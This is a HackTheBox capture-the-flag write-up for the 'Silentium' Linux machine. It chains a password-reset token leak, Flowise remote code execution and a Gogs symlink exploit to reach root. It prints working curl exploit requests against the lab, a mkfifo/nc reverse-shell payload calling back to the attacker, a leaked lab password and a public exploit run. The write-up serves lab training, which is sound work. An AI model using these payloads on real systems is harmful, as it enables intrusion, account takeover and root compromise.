Silentium · Write-up HackTheBox

Machine Info#

Field	Value
Name	Silentium
OS	Linux
Difficulty	Easy

Enumeration#

Port Scanning#

Open ports discovered:

22/TCP — SSH
80/TCP — HTTP

Add the hostname to /etc/hosts:

bash

echo "$IP silentium.htb" >> /etc/hosts

The webpage exposes the names of every institutional leadership member — useful for username enumeration.

Subdomain Enumeration#

bash

ffuf -w $(fzf-wordlists):FUZZ -u http://$IP/ -H "Host: FUZZ.silentium.htb" -fs 178

Discovered subdomain: staging.silentium.htb. Add to /etc/hosts.

Initial Access#

CVE-2025-58434 — Unauthenticated Password Reset Token Disclosure#

The staging.silentium.htb instance runs a vulnerable application exposing a "Forgot Password" endpoint. The vulnerability (CVE-2025-58434) allows unauthenticated retrieval of a password reset token directly in the API response, leading to full account takeover.

Using the leadership names found earlier, trigger the forgot-password endpoint for ben@silentium.htb:

bash

curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password -H "Content-Type: application/json" -d '{"user":{"email":"ben@silentium.htb"}}'

The tempToken is leaked in the response. Use it to reset the password:

bash

curl -s http://staging.silentium.htb/api/v1/account/reset-password -X POST -H "Content-Type: application/json" -d '{"user":{"email":"ben@silentium.htb","tempToken":"<TOKEN>","password":"Hacked123!"}}'

CVE-2025-59528 — Authenticated RCE via Custom MCP Node#

After resetting the password, login to obtain an API key, then trigger Remote Code Execution via the customMCP node-load-method endpoint (CVE-2025-59528):

bash

curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP -X POST -H "Content-Type: application/json" -H "Authorization: Bearer <API_KEY>" -d "{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(()=>{process.mainModule.require(\\\"child_process\\\").exec(\\\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $IP 443 >/tmp/f\\\");return 1;})()})\"}}"

This yields a shell inside a Docker container running the Flowise application.

Container Escape#

Inspect environment variables inside the container:

bash

env

Credentials found:

text

FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=r04D!!_R4ge

SSH to the host machine using the leaked credentials:

bash

ssh ben@$IP

User flag: /home/ben/user.txt

Privilege Escalation — CVE-2025-8110 (Gogs RCE)#

Discovery#

Gogs is running internally on port 3001 as root. It is not exposed externally, so set up an SSH local port forward:

bash

ssh -L 8080:127.0.0.1:3001 ben@$IP

Access Gogs at http://127.0.0.1:8080 and register an account (e.g., coucou:coucou). Generate an API token from: User Settings -> Applications -> Generate New Token

Vulnerability#

CVE-2025-8110 is a path traversal / symlink bypass in the Gogs PutContents API. An authenticated attacker can:

Create a repository with a symlink pointing to .git/config
Overwrite .git/config via the API with a malicious sshCommand payload
Trigger Gogs's internal SSH execution to get RCE as the user running Gogs (root)

Exploitation#

Clone the exploit:

bash

git clone https://github.com/TYehan/CVE-2025-8110-Gogs-RCE-Exploit /tmp/tyehan && cd /tmp/tyehan

Configure git identity (required for the exploit's internal commit step):

bash

git config --global user.email "a@a.com" && git config --global user.name "a"

Start a listener:

bash

rlwrap nc -lvnp 9001

Launch the exploit:

bash

python3 exploit.py --url http://127.0.0.1:8080 --username coucou --password coucou --token <TOKEN> --host $IP --port 9001

A root shell is received on the listener.

Techniques utilisées#

Exploit GIT
Docker